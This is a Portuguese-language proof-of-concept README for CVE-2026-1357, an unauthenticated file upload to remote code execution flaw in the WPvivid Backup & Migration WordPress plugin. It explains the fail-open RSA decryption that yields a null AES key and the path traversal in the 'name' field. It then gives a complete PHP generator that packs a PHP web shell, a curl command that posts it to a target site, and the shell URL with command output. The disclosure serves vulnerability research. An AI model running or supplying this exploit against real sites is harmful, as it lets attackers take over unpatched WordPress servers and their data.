
Prova de conceito de exploit para CVE-2026-1357, um upload arbitrário de arquivos sem autenticação que leva a RCE no plugin WPvivid Backup & Migration, com gerador de exploit e instruções de execução.
Descoberto por: Lucas Montes (NiRoX)
Vulnerabilidade: Upload Arbitrário de Arquivos Não Autenticado levando à Execução Remota de Código (RCE)
ID CVE: CVE-2026-1357
CVSS: Crítico (9.8)
Status: Corrigido na versão 0.9.124
Este repositório contém a análise e a Prova de Conceito (PoC) para uma vulnerabilidade crítica no plugin WPvivid Backup & Migration do WordPress (versões <= 0.9.123).
A vulnerabilidade permite que um atacante não autenticado faça upload de arquivos arbitrários (como shells PHP) para o servidor, levando à Execução Remota de Código (RCE) imediata. Isso é causado por uma falha lógica no tratamento de erros criptográficos (Fail-Open) combinada com uma vulnerabilidade de Path Traversal.
A vulnerabilidade reside na forma como o plugin lida com solicitações de transferência de backup remoto por meio do hook wpvivid_action=send_to_site. A cadeia de exploração consiste em duas falhas distintas que trabalham juntas:
Quando o plugin recebe uma solicitação de transferência, ele tenta descriptografar a chave de sessão fornecida usando .
openssl_private_decrypt()false. A lógica do plugin não verifica esse valor booleano de retorno e prossegue passando false para a biblioteca phpseclib para inicializar a cifra AES.phpseclib, uma chave false ou vazia é tratada como uma string de bytes nulos (\0\0...). Isso permite que um atacante criptografe um payload malicioso usando uma chave nula de 128 bits, contornando a necessidade da chave privada real.Uma vez que o payload é "descriptografado" com sucesso usando a chave nula, o plugin processa o conteúdo JSON.
name dentro do payload JSON não é sanitizado.../) para escapar do diretório de backup restrito do plugin (geralmente protegido por .htaccess) e gravar um arquivo PHP malicioso no diretório público wp-content/uploads/.Restrições:
wpvivid_api_token expira, o caminho de código vulnerável permite que a solicitação falhe silenciosamente.O exploit depende do comportamento do phpseclib (v1). Para executar o gerador localmente, você precisa dos arquivos da biblioteca:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)Este script cria um payload criptografado com uma Chave Nula e inclui o path traversal para fazer upload de um shell.
<?php
// exploit.php - Autor: Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Inicializar Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. REPRODUÇÃO DA VULNERABILIDADE
// O servidor usa uma chave nula por padrão quando a descriptografia RSA falha (retorna false).
// Definimos nossa chave local como 16 bytes nulos para corresponder ao estado vulnerável do servidor.
$rij->setKey(str_repeat("\0", 16));
// 3. O Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. O Objeto JSON com Path Traversal
// Subimos até /uploads/ para contornar as restrições do .htaccess
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Criptografar com Chave Nula
$encrypted = $rij->encrypt(json_encode($params));
// 6. Construir Pacote
// "ABC" é a chave RSA falsa que aciona o retorno 'false' no servidor
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
Resultado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)